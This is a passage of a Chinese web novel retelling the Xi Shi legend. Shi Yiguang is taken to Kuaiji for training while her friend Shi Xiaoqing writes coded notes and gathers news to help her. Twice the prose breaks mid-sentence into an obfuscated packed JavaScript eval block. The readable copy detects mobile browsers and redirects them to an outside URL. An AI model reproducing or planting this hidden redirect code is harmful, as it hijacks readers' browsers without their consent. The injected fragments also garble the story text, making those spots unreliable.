夷光的父亲看着这些东西,像是看见什么可怕的事物,往后缩了缩:“这、这……使不得……” “施家翁不必推辞。” 中年人笑容和煦,语气却不容置疑,“令嫒资质出众,能入贵人之眼,是她的福分,也是施家翁的福分。这些,只是一点心意。日后飞黄腾达,施家翁自会明白,今日的选择,是何等的明智。” 他顿了顿,又道:“明日,会有人来接令嫒去会稽城。届时,会有专人教导她一些……必要的规矩。施家翁放心,一切都是最好的安排。” 最好的安排。 夷光的父亲木然地点头,整个人像被抽去了魂魄。 * 消息像长了翅膀,转眼传遍全村。 “听说了吗?施老二家的夷光,被贵人看中了!” “什么看中,是选上去都城了!以后要见大人物了!” “啧啧,我就说嘛,那丫头生得那般模样,早晚得出人头地……” 当天下午,就有村人上门了。 最先来的是村东头的李婶,拎着十几个鸡蛋,脸上堆满笑:“夷光她娘,身子可好些了?这些鸡蛋是我家母鸡刚下的,给你补补身子。哎哟,你们家夷光真是好福气啊,日后发达了,可别忘了我们这些穷乡亲啊!” 夷光的母亲强撑着病体坐在床边,脸上挤出一个比哭还难看的笑容:“李婶客气了……这怎么好意思……” “有什么不好意思的!”李婶把鸡蛋往桌上一放,自顾自坐下,“我跟你说,我早就看出来夷光这丫头不一般,那眉眼,那气派,天生的贵人相!日后若是见了什么大人物,可别忘了替我们李家说句话……” 话没说完,门口又有人来了。 “施家嫂子在家吗?我家刚磨的新米,给嫂子尝尝鲜……” “夷光她娘,这是我娘家带来的干菇,泡开了炖汤最补……” “哎哟,都在呢?我也没啥好东西,自家腌的咸菜,嫂子别嫌弃……” 屋里渐渐挤满了人,七嘴八舌,热闹得像赶集。 夷光的母亲被围在中间,脸上挂着僵硬的微笑,一一应酬。没有人注意到,她的手在被子里紧紧攥着被角,指节发白。 夷光站在自己屋里的窗前,透过窗缝看着这一切,面无表情。 “夷光。” 身后传来声音。她回头,是父亲。 父亲站在门口,背光看不清表情,只听见他的声音沙哑低沉:“你……怪阿父吗?” 夷光沉默了片刻,轻轻摇头。 父亲没有再说话,转身离开。他的背影,比从前佝偻了许多。 傍晚,人群终于散去。 夷光走出屋子,穿过院子,打开后门。 * 月光铺满后院,虫鸣细细密密地响着。 施晓青盘腿坐在晾草药的竹席边,手里攥着一截炭笔,对着面前的桑树皮发呆。 上面密密麻麻写满了她这些天拼凑出来的东西——夫差、伍子胥、伯嚭、勾践、文种……名字旁边歪歪扭扭地标注着性情、弱点、需要注意的事。 身后传来轻轻的脚步声。 “阿青。” 施晓青回头,夷光站在矮墙边,一身深色衣裙,脸上没有蒙布巾,月光照着她,清瘦了许多,但眼睛亮得惊人。 “你怎么来了?”施晓青连忙起身,拉着她蹲到角落里,“不是说好了少出来吗?万一被人看见——” “明日一早他们就来接我了。”夷光打断她,声音很轻,却很稳,“今晚不来,就再也没有机会了。” 施晓青喉咙一紧,说不出话。 夷光看着她手里的桑树皮,凑近了些:“这些是什么?” “我写的……一些东西。”施晓青把树皮递给她,“吴越两边主要的人物,他们的性情,弱点,需要注意的事。你记在心里,烂在脑子里,但不能写在任何地方。” 夷光低头看那些歪歪扭扭的符号,眉头微微蹙起:“这些字……我好多不认识。” “我教你。”施晓青接过树皮,指着上面的字,一个一个念给她听,“夫差——吴王夫差。性骄,好大喜功,喜听奉承,但并非昏庸之人,需小心应对。伍子胥——吴国重臣,刚正,多谋,对越国戒心极重,是你最需提防的人。伯嚭——吴国太宰,贪婪,好利,或可成为突破口……” 她念得很快,夷光听得极认真,一边听一边点头,目光落在那些古怪的符号上,努力地记着。 “这些字……跟平时见的很不一样。”夷光指着其中一个,“这个‘夫’字,为何写成这样?” “这是我……自己编的。”施晓青顿了顿,“简单,好写,不易被人认出。以后你要传递消息给我,就用这种字。就算被人截获,他们也看不懂。” 夷光抬头看她,眼神 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施晓青转头看她,目光沉静而坚定:“你在那条路上走,我在外面,为你织一张网。你需要的消息,你想传递的话,你遇到的难处……只要有可能,我会想办法。你不只是一个人在走。” 夷光看着她,忽然轻轻笑了。那笑容很淡,却像是融化了这些天来所有的沉重,露出底下那个原本柔软清澈的少女。 “阿青,你知道吗?”她的声音轻得像梦呓,“第一次见你这样跟我说话,是在溪边,你给我薄荷叶的时候。那时候我就想,这个阿青,好像跟以前不一样了。后来发生那么多事,我才知道,你一直都在帮我。” 施晓青鼻子一酸,没有说话。 “我不知道你从哪里来,也不知道你为什么懂这么多。”夷光继续说,“可我知道,你是我唯一可以相信的人。这世上,只有你,不在乎我的脸,只在乎我是谁。” 施晓青终于忍不住,伸手抱住了她。 夷光微微一怔,随即也伸出手,紧紧回抱。 两个少女,在月光下,在草药香里,久久相拥。虫鸣声在四周响起,像是为这个夜晚奏响的不知名的乐曲。 良久,夷光松开手,站起身。月光在她身后洒下一片银辉,她的身影修长而坚定。 “阿青,我该回去了。” 施晓青站起来,看着她:“明日一早,我来送你。” “别来。”夷光摇头,“那些人若看见你,未必是好事。我们……我们就这样告别吧。” 施晓青张了张嘴,想说什么,最终只是点了点头。 夷光转身,走了两步,又停下来,回过头。 “阿青,你说过,那焚身火中,也能开出莲花,对吗?” 施晓青看着她,用力点头:“对。只要你心里还有那点光,就一定能。” 夷光弯起嘴角,露出一个极淡的笑。 然后她转身,脚步轻缓地消失在矮墙的阴影里。 施晓青站在原地,看着那抹身影消失的方向,一动不动。 月光如水,虫鸣如泣。 她在心里默默地说:夷光,等我。等我在外面,为你织好那张网。等你在那深渊里,走出一条不一样的路。 焚身火中,未必不能开出一朵莲花。 而她,要做那朵莲花之外的,第一捧润泽的泥土。 11. 平静 天刚蒙蒙亮,村口就热闹起来。 两辆马车停在里正家门口,几个穿着整齐的仆从模样的人正在搬东西。里正点头哈腰地在一旁陪着,脸上堆满了笑。 施晓青远远站在自家院门口,手里攥着一把晒干的薄荷叶,指节因为用力而微微发白。 她看见夷光从那扇熟悉的木门里走出来。 夷光今日换了一身新的衣裙——浅青色的绢帛,腰间系着同色的带子,头发绾成简单的髻,插着一根银簪。那身衣裳衬得她愈发清丽出尘,像是山间的清晨化作人形,站在那里。 她身后,夷光的母亲倚着门框,已经哭得站不稳。夷光的父亲站在一旁,低着头,肩膀微微颤抖。 夷光转过身,对着父母,缓缓跪下,磕了一个头。 然后她站起来,没有回头,走向那辆马车。 走到车边时,她的脚步忽然顿了一下。 她微微侧过头,目光越过人群,越过里正家的院墙,落在远处那个站在自家门口、手里攥着一把草叶的瘦小身影上。 隔得太远,看不清表情。 但夷光知道,那个人在看着她。 她轻轻弯了弯嘴角,然后转身上了马车。 车帘放下的那一刻,施晓青看见那只纤细的手,在帘边轻轻动了动——那是她们约定的暗号:我很好,别担心。 马车启动,扬起一阵尘土,渐渐消失在村路的尽头。 施晓青站在原地,一动不动,直到那尘土完全落下,直到村口重新归于寂静。 “阿青?”阿母的声音从屋里传来,“你站在外面做甚?进来吃饭。” “来了。”施晓青应了一声,低头看着手里那把薄荷叶。 她把叶子收进怀里,转身回了屋。 灶房里,阿母已经把粥盛好,放在那张简陋的木桌上。 见施晓青进来,她张了张嘴,想说什么,最终只是把粥碗往她面前推了推。 “吃吧。” 施晓青坐下,端起碗,一口一口地喝着那寡淡的粥。 粥很烫,烫得她舌头发麻,但她没有停,只是一口接一口,仿佛需要用这种灼痛来确认自己还活着。 阿母坐在对面,看着她,眼圈红了。 “阿青,你……你跟夷光那孩子,是不是……” “是朋友。”施晓青放下碗,抬起头,看着阿母。她的眼睛里有一种阿母从未见过的、沉静而坚定的光,“阿母,她是我最好的朋友。” 阿母的泪终于落下来。她别过脸,用袖子擦了擦,声音哽咽:“那孩子……命苦。那么好的模样,偏偏……” “不是命。”施晓青打断她,“阿母,那不是命。是她自己选的。” 阿母愣住了。 施晓青没有解释。她站起来,把碗收了,声音平静得像在说今天的天气:“阿母,我吃好了。我去看看那些草药,昨日晒的该收了。” 她走出灶房,走进后院。 阳光已经升起来了,洒在那片小小的药圃上,洒在那些晾晒着的草药上,洒在她的身上,暖融融的。可她还是觉得冷,从心里往外透着的冷。 她蹲下来,开始整理那些草药。分门别类,捆扎,翻转,动作熟练而机械。那些清苦的气息包围着她,像是某种安慰,又像是某种提醒。 她想起夷光第一次跟她学认草药的样子。 那日阳光也是这样好,夷光蹲在她身边,认真地看着她手里的叶子,问她: “这个叫什么?” “薄荷。” “做什么用的?” “清心明目,也能舒缓胸闷。你那心口疼的时候,含一片,会舒服些。” 夷光接过叶子,放进嘴里,然后微微皱起眉:“有点辣。” 施晓青忍不住笑了:“习惯就好了。” 那是她们之间最初的、最简单的快乐。 * 施晓青把最后一捆艾草放好,站起来,拍了拍手上的泥土。 她抬起头,看着那条空荡荡的村路的方向。 夷光走了。 可她没有走。 她还在苎萝村,还在这个小小的院子里,还在这些草药中间。 她要做些什么。 施晓青转身走回屋里,从床底下一个隐蔽的角落,取出那叠厚厚的桑树皮—— 那是她这些日子以来,用炭笔记录下的所有东西。 草药的辨认和使用方法,简单的急救知识,她能回忆起的关于吴越争霸的所有细节,以及……她用那种只有她和夷光能看懂的“密码文字”写下的一份又一份“密信”…… 她把那叠桑树皮摊开,一张一张看过去。她拿起炭笔,在最上面一张空白的树皮上,写下几个字: “越国·苎萝·施晓青·元年春” 这是她的开始。 远处,晨雾已经完全散去,阳光洒满整个村落。 那条空荡荡的村路,在阳光下延伸向远方,不知尽头。 施晓青低下头,继续在桑树皮上写着什么。 她的手很稳。 * “阿青!阿青!别弄你那些草了,快出来看!” 阿母的声音从院门口传来,带着少见的兴奋。 施晓青正蹲在后院翻晒一批新采的金银花,闻言抬起头,手上还沾着泥土。 “看什么?” “陈家的母鸡!一口气下了五个蛋!”阿母已经推门进来,脸上笑开了花,“五个!你陈婶高兴得逢人就说,恨不得敲锣打鼓告诉全村。” 施晓青愣了一下,拍拍手上的土站起来:“五个蛋,至于吗?” “怎么不至于!”阿母白她一眼,“你是不当家不知柴米贵。五个蛋能换半斤盐,能给你做一身新衣裳的边角料——” 她说着说着,目光落在施晓青那身洗得发白、肘部打着补丁的旧麻衣上,声音忽然低了下去。 施晓青低头看看自己的衣裳,又抬头看看阿母的神色,笑了笑:“阿母,我这衣裳还能穿,不用换。” “你……”阿母张了张嘴,眼圈却有些红了,“你都十五了,整日穿着这身破衣裳,连件像样的都没有。你看看村里跟你一般大的姑娘,哪个不是——” “阿母。”施晓青打断她,走过去拉住她的手,“我不在乎那些。真的。” 阿母看着她,嘴唇动了动,终于叹了口气:“我知道你不在乎。你心里装的,从来不是这些。”她顿了顿,声音低下去,“阿青,夷光那孩子……走了有一个月了吧?” 施晓青的手微微一紧。 “嗯。”她松开阿母的手,转身继续翻晒那些金银花,声音平静,“一个月零三天。” 阿母看着她瘦削的背影,看着她不紧不慢的动作,想说什么,最终只是叹道:“你呀……我去做饭了。” 脚步声渐渐远去。 施晓青蹲在那里,手上动作没停,目光却有些放空。 一个月了。 一个月来,她每天都会在日出时往那条村路的方向看一眼;每天都会在睡前,把藏在床底下的那叠桑树皮拿出来,看看有没有需要补充的内容;每天都会在心里默念一遍那个名字——夷光,夷光,夷光。 可她没有等来任何消息。 她知道这不现实。夷光去的是会稽城,是越国的心脏,是层层戒备的地方。怎么可能有消息传出来?可知道归知道,心里那个角落,还是会忍不住期待。 “阿青姑娘!阿青姑娘在家吗?” 院门外传来喊声,打断了她的思绪。施晓青站起身,拍拍手上的土,走到前院。 是一个面生的中年汉子,穿着短褐,肩上搭着个褡裢,风尘仆仆的样子。他看见施晓青,咧嘴笑了笑:“你就是施晓青?听说你懂草药,能给瞧瞧这不?” 他撩起裤腿,露出一片红肿溃烂的小腿。 施晓青蹲下看了看:“这是……被什么咬了?” “谁知道呢!”汉子苦着脸,“前些天在山里赶路,歇脚时被什么东西叮了一口,当时没在意,后来就肿成这样了。找了几个地方,都说治不了,让我来找你碰碰运气。” “找我碰运气?”施晓青抬眼看他,“谁让你来的?” “镇上那个货郎,姓孙的。”汉子说,“他说苎萝村有个姑娘,懂些土方子,治好了不少人。我就摸过来了。” 施晓青心里一动。 姓孙的货郎——那是她最近常接触的人之一,每次路过都会来找她讨碗水喝,顺便聊聊外头的见闻。 没想到,那大哥还帮她宣传起来了。 “你先坐着,我去拿点东西。” 她转身进屋,从那些分门别类的草药中找出几样——野菊花、金银花、蒲公英根,都是清热解毒的。又拿了一小块干净的布和一个空陶罐。 回到院里,她把草药递给那汉子:“这些你拿回去,煮水喝,一天三次。煮过的药渣别扔,晾凉了敷在伤口上。” 汉子接过,有些迟疑:“就……就这样?” “你先试试。”施晓青说,“若三日后还不见好,你再来。还有,”她顿了顿,“回去之后,把伤口周围的毛刮干净,用盐水清洗,越干净越好。那盐,要煮沸后晾凉再用。” 汉子一一应了,从褡裢里摸出几枚刀币递过来。施晓青摆摆手:“不用。” “那怎么行!” “你要是真想谢我,”施晓青看着他,“下次路过,多跟我说说外头的事就行。哪里打仗了,哪里闹灾了,哪个地方又来了什么大人物,这些我都想听。” 汉子愣了一下,随即笑起来:“这姑娘,倒是稀奇。”他把刀币收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486886|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回褡裢,“成!下次来,我把知道的都跟你说!” 汉子走后,施晓青回到后院,继续翻晒那些草药。阳光很好,晒得那些叶子发出干燥而清苦的香气。她蹲在那里,动作虽没停,脑子里却转着别的事。 “阿青!” 院墙那边探出个头来,是隔壁的翠儿,十五六岁,圆脸圆眼睛,平日里最爱串门说闲话。 自从夷光走后,她倒是时不时来找施晓青,起初是好奇那些草药,后来……大概是无聊。 “在呢。”施晓青头也没抬。 翠儿翻墙跳下来,凑到她身边蹲下,看着她翻那些草药:“你又弄这些。天天弄,不腻吗?” “不腻。” “你这些草,真能治病?” “有些能。” “那你怎么不给自己治治?”翠儿歪着头看她,“你脸色可不好,眼下青的,又瘦了。我阿母说,你肯定是晚上不睡觉,瞎琢磨什么。” 施晓青手上动作顿了顿,没说话。 翠儿凑近些,压低声音:“哎,你是不是……还想着夷光呢?” 施晓青抬起头看她。 翠儿被她看得有些发毛,缩了缩脖子:“我就是随便问问。她走了一个月了,你天天闷在家里弄这些草,也不跟人说话,也不串门,大伙儿都猜你是不是……” “是不是什么?” “是不是……舍不得她呗。”翠儿说,“其实我也奇怪,你跟夷光,什么时候那么好了?以前你们都不怎么说话的。” 施晓青低下头,继续翻那些草药,声音淡淡的:“人跟人的缘分,说不准的。” 翠儿眨眨眼,似懂非懂。她沉默了一会儿,忽然又说:“哎,你知道吗,前几天里正家的三丫头,偷偷跟她娘说,幸亏夷光走了,不然她这辈子都别想嫁出去了——长得那么好,把村里所有姑娘都比下去了。” 施晓青的手猛地一顿。 翠儿没注意到她的异样,继续絮叨:“你说这人也是,夷光都走了,还说这种话。不过话说回来,夷光那模样,真的是……我长这么大没见过那么好看的人。那天她上马车的时候穿的衣裳,啧啧,那料子,那光泽,一看就是值钱的——” “翠儿。”施晓青打断她。 “啊?” “你要是没事,帮我摘会儿草吧。”施晓青指了指角落里的一堆车前草,“把黄叶子摘掉,根上的泥巴抖干净。” 翠儿看看那堆沾着泥的草,又看看施晓青的脸色,识趣地闭上了嘴,乖乖蹲过去摘草。 两个人默默地摘了一会儿,翠儿终究是耐不住寂寞,又开口了:“阿青,你说……夷光现在在哪儿呢?是不是已经到那什么会稽城了?她在那边过得好不好?有没有人欺负她?” 施晓青的动作又停住了,她看着手里那株车前草,叶子宽大,脉络分明,根上还带着潮湿的泥土。阳光照在上面,泛着柔和的光。 “她……”施晓青开口,声音有些涩,“她会照顾好自己的。” 翠儿歪着头看她:“你怎么知道?” 因为她是我教出来的。 因为她比你,比那些在背后嚼舌根的人,比这村里所有人,都更聪明,更坚韧,更懂得如何在那条路上走下去。 话到了嘴边就变成—— “我猜的。” 她把那株车前草放进篮子里,站起来拍拍手,“摘好了?那你回去吧,我要做饭了。” 翠儿撅了撅嘴:“才来一会儿就赶人。行行行,我走,我走。”她站起来,拍拍屁股上的土,走到墙边,忽然又回头,“阿青,明天我再来找你玩啊!” “嗯。” 翠儿翻墙走了。 院子里重归寂静。 施晓青站在原地,看着那堵矮墙,看着墙外那棵老槐树的影子,看着天边渐渐西斜的太阳。 一个月了。 她深吸一口气,转身走进屋里,从床底下摸出那叠桑树皮,翻到今天记录的那一页。 上面用炭笔写着几行字,是那姓孙的货郎上次路过时说的—— “听说会稽城里在修什么馆舍,好大的排场,用掉不少木头石料。有人说是给吴国来的贵客准备的,也有人说是越王给自己修的……谁知道呢。” 施晓青看着这几行字,手指轻轻抚过那些笔画。 会稽城,馆舍,吴国来的贵客。 夷光,那是为你准备的吗?你现在……在做什么呢? 她把桑树皮小心地收好,重新藏回床底。 然后她走出屋子,站在院子里,看着那条空荡荡的村路。路的那头,太阳正在落山,把天边染成一片温暖的橘红。 “夷光,”她在心里轻轻说,“我在这儿。我一直都在。” 风吹过院子,带起那些草药的气息,清苦而悠长。 12. 初雪 马车在崎岖的官道上颠簸了整整七日。 夷光起初还会掀开车帘,看外面掠过的山川、田野、村庄。 那些渐渐远去的风景,像是从她生命里一层层剥落的壳,先是苎萝村的山,然后是诸暨的镇,再然后是越来越陌生的土地。 后来她不看了。 累了。 身体的累,心里的累,还有一种说不清的、像是被抽空了一样的倦怠。 她靠在车壁上,听着车轮碾过泥土的声音,听着车外那些护送者的低语,听着自己的心跳,一下,一下,缓慢而沉重。 同行的是另一个女子,比她大一两岁,生得也是极好的眉眼,却与她截然不同。 那女子爱笑,爱说话,一路上叽叽喳喳个不停,从家里的鸡鸭问到路上的风景,从护送的人帅不帅问到会稽城的衣裳贵不贵。 “你叫什么名字?”那女子问她。 “施夷光。” “我叫郑旦。” 那女子笑起来,眼睛弯成月牙,“以后咱们就是姐妹啦,一起学习,一起……一起那个。你怕不怕?” 夷光看着她,看着她那毫无阴霾的笑容,忽然有些羡慕。 “怕。”她说。 郑旦愣了一下,然后伸手握住她的手:“我也怕。但我阿母说,这是咱们的命,躲不掉的。既然躲不掉,那就高高兴兴地去。” 高高兴兴地去。 夷光低下头,看着郑旦握着自己的那只手,温热,有力。 她想起另一只手,瘦削的,带着草药清苦气息的,紧紧握住她的那只手。 阿青。 她在心里默默念着这个名字,像念一个咒语,像念一盏灯。 第七日的黄昏,马车驶进了会稽城。 夷光掀开车帘的一角,看见高大的城墙,看见城门洞下来往的行人,看见那些穿着与乡间截然不同衣裳的男男女女。他们的脚步更快,表情更淡,看人的目光也更深。 这就是会稽。 这就是她将要生活的地方。 马车在一处不起眼的宅院前停下。 院门不大,但进去之后,才发现里面别有洞天——几进几出的院落,错落有致的房舍,还有一处小小的池塘,塘边种着几株瘦竹。 “到了。”护送的人说,“从今日起,你们就住在这里。会有人来教你们规矩、礼仪、歌舞、言谈。要学的很多,时间很紧。好好学。” 说完,他就走了。 夷光和郑旦被领进一间屋子。屋子不大,但干净整洁,有两张床榻,两个木架,两套叠得整整齐齐的衣裳。 “我们住一起!”郑旦高兴地扑到靠窗的那张床上,“我睡这边,你睡那边。以后晚上还能说说话。” 夷光走到另一张床边,坐下。 身下的榻很软,比家里的硬木板舒服多了。可她总觉得缺了什么。 “哎,”郑旦趴在床上,歪着头看她,“你怎么老发呆?想家了?” 夷光回过神,摇摇头。 “别想啦。”郑旦说,“我阿母说,想也没用,不如不想。反正咱们已经在这儿了,就好好过日子呗。你看这屋子多好,这衣裳多软,以后还有好吃的——” “你不想家吗?”夷光打断她。 郑旦的笑容顿了顿。 “想。”她低声说,“想我阿母,想我阿父,想我家那只大黄狗。可我阿母说,不能哭,哭了就不漂亮了。不漂亮,就……”她没有说下去。 屋子里沉默了一会儿。 夷光站起来,走到窗边,推开窗。 外面的天已经黑透了,看不见星星,只有远处几点灯火,明明灭灭。 阿青,你在做什么呢? 苎萝村这个时候,应该已经睡了。你睡了吗?还是在后院里,借着月光翻晒那些草药? 你教我的那些话,我都记得。你写的那些字,我都背熟了。 可我不知道,什么时候才能用上。 “喂,”郑旦凑过来,“你在看什么?” “没什么。”夷光关上窗,“睡吧。” “哦。” 躺下之后,黑暗中,郑旦的声音又响起来:“夷光,你说……咱们以后,会变成什么样的人?” 夷光睁着眼,看着黑漆漆的屋顶。 变成什么样的人? 她想起阿青说过的话:你在那条路上走,我在外面,为你织一张网。 “会变成……”她轻轻说,“能自己选择的人。” 郑旦没听清:“什么?” “没什么。睡吧。” 接下来的日子,果然如那人所说——很忙,很紧。 每日天不亮就要起床,洗漱,更衣,然后开始一天的训练。 先是一个不苟言笑的老妇人,教她们“行”的规矩。怎么走,怎么停,怎么转身,怎么落座。 步子要轻,要稳,要像猫一样无声。腰要直,肩要平,目光要垂,嘴角要含着一丝若有若无的笑。 “你们以后要见的,是天底下最尊贵的人。”老妇人说,“一举一动,一颦一笑,都不能有半点差池。差池,就是死。” 然后是另一个妇人,教她们“言”的规矩。怎么开口,怎么应声,怎么在恰当的时候说话,怎么在恰当的时候闭嘴。 声音要柔,要轻,要像溪水一样潺潺流淌。用词要雅,要准,要能接住任何话题,又不能泄露任何心思。 “你们要听,要看,要记。”那妇人说,“听他们说什么,看他们做什么,记他们的喜好、厌恶、习惯、软肋。这些,比你们的容貌更重要。” 接着是歌舞,是礼仪,是妆容,是服饰,是如何用眼神勾人,又如何用眼神拒人于千里之外。 夷光学得很快。 那些繁琐的规矩,那些复杂的步态,那些需要精准控制的表情,在她这里似乎天然地熟悉。 老妇人夸她有天分,郑旦羡慕她学得快,连那些来巡视的官员,看见她时,目光都会多停留片刻。 只有夷光自己知道,她为什么学得快。 因为有人在更早的时候,就开始教她了:“记住,在不得已时,要让自己看起来不合用。” 可她现在要学的,恰恰相反。 她要让自己看起来“极合用”。 让所有人都满意,让所有人放下戒备,让所有人以为,她不过是一个美丽的、柔顺的、可以随意摆布的棋子。 但这枚棋子,有自己的眼睛,自己的耳朵,自己的心。 夜深人静时,郑旦睡着了,夷光会悄悄坐起来,从枕下摸出一个小小的布包。 那是阿青临别前塞给她的。里面是几片晒干的薄荷叶,还有一小块叠得整整齐齐的桑树皮。 桑树皮上,用那种只有她们能看懂的“密码文字”,写着几行字。 夷光已经看过无数遍了,每一个符号都烂熟于心。 但她还是会看。 在那些密密麻麻的笔画里,她能看见阿青的脸,能闻到那股清苦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿青,你知道吗,有人夸你呢。 她轻轻弯了弯嘴角。 窗外,天阴沉沉的,似乎要下雪了。 果然,那天夜里,会稽城迎来了入冬以来的第一场雪。 夷光站在窗前,看着那些细碎的雪花纷纷扬扬地落下来,落在院子里,落在池塘边,落在那些瘦竹的叶子上。 郑旦已经睡着了,发出均匀的呼吸声。 夷光伸出手,接住一片雪花。那雪花在手心停留了一瞬,就化成了一滴水。 阿青,你那边下雪了吗? 苎萝村比这里暖和,大概不会下得这么早吧。 你会在院子里看雪吗?还是会躲在屋里,守着那堆草药? 我在这儿很好。吃得饱,穿得暖,那些人待我还算客气。学的东西虽多,我都记住了。你放心。 只是有时候,夜里醒来,会不知道自己在哪里。会想伸手去摸身边,却摸不到那只熟悉的手。会想开口喊你的名字,却只能把声音压回喉咙里。 阿青,你说,这条路,要走多久? 你说,我们还会再见面吗? 她把那片已经化成水的雪花轻轻抹在窗框上,关上窗,走回床边。 躺下之前,她又摸了摸枕下的那个布包。 那些薄荷叶还在,那些桑树皮还在。 阿青还在。 她闭上眼,嘴角带着一丝极淡的笑,慢慢沉入睡梦。 梦里,她回到了苎萝村。 溪水潺潺,阳光正好。 阿青蹲在她身边,递给她一片薄荷叶,说:“这个,你含着,会舒服些。” 她接过叶子,放进嘴里,那清清凉凉的味道,一直蔓延到心里。 13. 青丝结 苎萝村的冬天来得悄无声息。 没有雪,只有连绵不断的阴雨,把天地搅成一片灰蒙蒙的湿冷。 山间的雾气终日不散,像是谁把一块湿透的麻布罩在了整个村庄上头。 施晓青坐在后院的屋檐下,面前摆着几簸箕正在阴干的草药。金银花、野菊花、薄荷、紫苏、车前草……都收拾得妥妥帖帖,分门别类,用细麻绳扎成小捆,整整齐齐地码在墙角。 她的手没闲着,在搓一条麻绳。粗糙的麻纤维磨着她的指腹,一下,一下,机械而重复。 “阿青!”院门被推开,翠儿裹着一身寒气冲进来,头发上沾着细密的雨珠,“你又在这儿坐着!不冷啊?” “还好。” “好什么好!”翠儿凑过来,伸手摸了摸她的衣裳,“你看看你,穿的这是什么?都薄成这样了!我阿母让我给你带件旧棉袄,虽说是旧的,可比你这身强多了。” 她把一个布包塞到施晓青怀里。 施晓青低头看看那布包,又抬头看看翠儿被冷风吹得通红的脸,抿了抿嘴:“替我谢谢婶子。” “谢什么,邻里邻居的。”翠儿搓着手蹲到她旁边,眼睛却往她手里的麻绳上瞟,“你搓这个干什么?你家又不缺绳子。” “有用。” “什么用?” 施晓青没回答,只是继续搓。 翠儿撇撇嘴,也不追问了,自顾自地说起来:“哎,你知道吗?陈家的母鸡又下蛋了,这回是六个!陈婶高兴得跟什么似的,逢人就说她家鸡有灵性,知道快过年了,多下几个蛋让主人换年货。” “嗯。” “还有,李叔家的儿子,就是那个整天游手好闲的,前几天去镇上,不知道怎么攀上了一个什么管事,说年后就能去城里做工,一个月给好多钱呢。他娘高兴得哭了一场。” “嗯。” “还有还有——”翠儿压低声音,“里正家的三丫头,上回说夷光坏话那个,你知道吧?她娘给她相了门亲事,对方是个屠户,家里殷实,就是……人长得粗了些。三丫头不乐意,在家里又哭又闹的,被她爹骂了一顿。” 施晓青搓绳的手微微一顿。 翠儿没注意,还在絮叨:“要我说,她有什么可不乐意的?屠户怎么了?有肉吃,有钱花,比咱们强多了。她还想嫁什么样的人?难不成还想跟夷光似的,去城里——” “翠儿。”施晓青打断她。 “啊?” “你刚才说,李叔家的儿子去镇上,攀上了什么管事?” 翠儿愣了一下,眨眨眼:“我也不知道什么管事,好像是……管什么买卖的?怎么了?” “那个管事,叫什么?” “这我哪儿知道!”翠儿挠挠头,“我就听了一耳朵,没细问。你怎么对这个感兴趣?” 施晓青把搓好的麻绳放在一边,站起来,拍了拍身上的草屑:“翠儿,帮我个忙。” “什么忙?” “你去帮我打听打听,那个管事是什么来头,做什么买卖的,跟哪些人打交道。能打听多细,就打听多细。” 翠儿瞪大了眼睛:“你打听这个干什么?” 施晓青看着她,目光笃定:“有用。” 翠儿被她看得有些发毛,缩了缩脖子:“行……行吧,我去问问。可我不敢保证能打听到多少啊。” “尽力就好。”施晓青从屋里拿出一个小布包,递给翠儿,“这个给你阿母,是安神助眠的。婶子最近不是睡不好吗?睡前用这个煮水喝,会好些。” 翠儿接过,打开一看,里面是些晒干的酸枣仁和百合片,还有一小撮不知名的叶子,散发着淡淡的清香。 “你呀,”翠儿叹口气,“整天就知道弄这些。自己都不好好照顾自己,倒是把别人的事都记在心里。”她把布包揣好,站起来,“行,我帮你打听。过两天来告诉你。” “谢谢。” “谢什么。”翠儿摆摆手,转身要走,又停下来,回头看着她,“阿青,你……是不是有什么事瞒着我?” 施晓青站在屋檐下,背后的阴雨天灰蒙蒙的,衬得她整个人也灰蒙蒙的。只有那双眼睛,亮得不像话。 “没有。”她说,“就是想知道外面的事。” 翠儿盯着她看了几秒,最终没再追问,转身消失在雨雾里。 施晓青重新坐下,拿起那根搓好的麻绳,在手里绕了绕。 她在编一样东西。 不是绳子,不是网,而是一根带子。 细细的,长长的,用最结实的麻线,一扣一扣地编。她编得很慢,很仔细,每一扣都拉得紧紧的,不留一丝松动。 这是她这些日子以来,除了整理信息、晾晒草药之外,唯一在做的事。 编一根带子。 她也不知道为什么要编。只是有一天夜里,躺在床上,翻来覆去睡不着,脑子里全是夷光的影子。她坐起来,摸到床边那卷麻线,就开始编。 编着编着,心就静了。 编着编着,就好像把那些说不出口的牵挂、担忧、想念,一扣一扣地编进了这细细的绳子里。 “阿青!”阿母的声音从屋里传来,“进来吃饭!别在外头坐着了,仔细着了凉!” “来了。” 她把编了一半的带子收进怀里,起身走进屋里。 灶房里,阿母已经摆好了饭。一碗稀粥,一碟咸菜,两个杂粮饼子。简单,但热气腾腾的。 施晓青坐下,端起碗。 阿母坐在对面,看着她吃,欲言又止。 “阿母,怎么了?” “没……没什么。”阿母低下头,扒了一口粥,又抬起头,“阿青,你……最近是不是在忙什么?” “忙什么?” “我见你天天搓绳子,编带子,还让翠儿去打听外面的事……”阿母的声音低下去,“你是不是……在等夷光的消息?” 施晓青的筷子顿了顿。 “阿母——” “我不是怪你。”阿母打断她,眼圈有些红,“我就是……担心你。那孩子走了快两个月了,你天天闷在家里,也不跟人说话,也不想着自己的事。你今年十五了,该——” “阿母。”施晓青放下碗,看着阿母,声音平静却坚定,“我知道自己在做什么。我没有耽误过日子,草药还在弄,家里的活也没落下。至于其他的……”她顿了顿,“我现在不想。” 阿母看着她,嘴唇动了动,终于叹了口气:“我知道你心里放不下夷光。那孩子确实可怜,可你也不能……” “阿母,”施晓青握住阿母的手,“夷光不是可怜。她是…她是我的朋友。她去了很远的地方,做一件很难的事。我帮不了她什么,但至少……至少我要知道,她在那边好不好。至少我要知道,外面在发生什么。这样,如果有一天她需要我,我才能——” 她没有说下去。 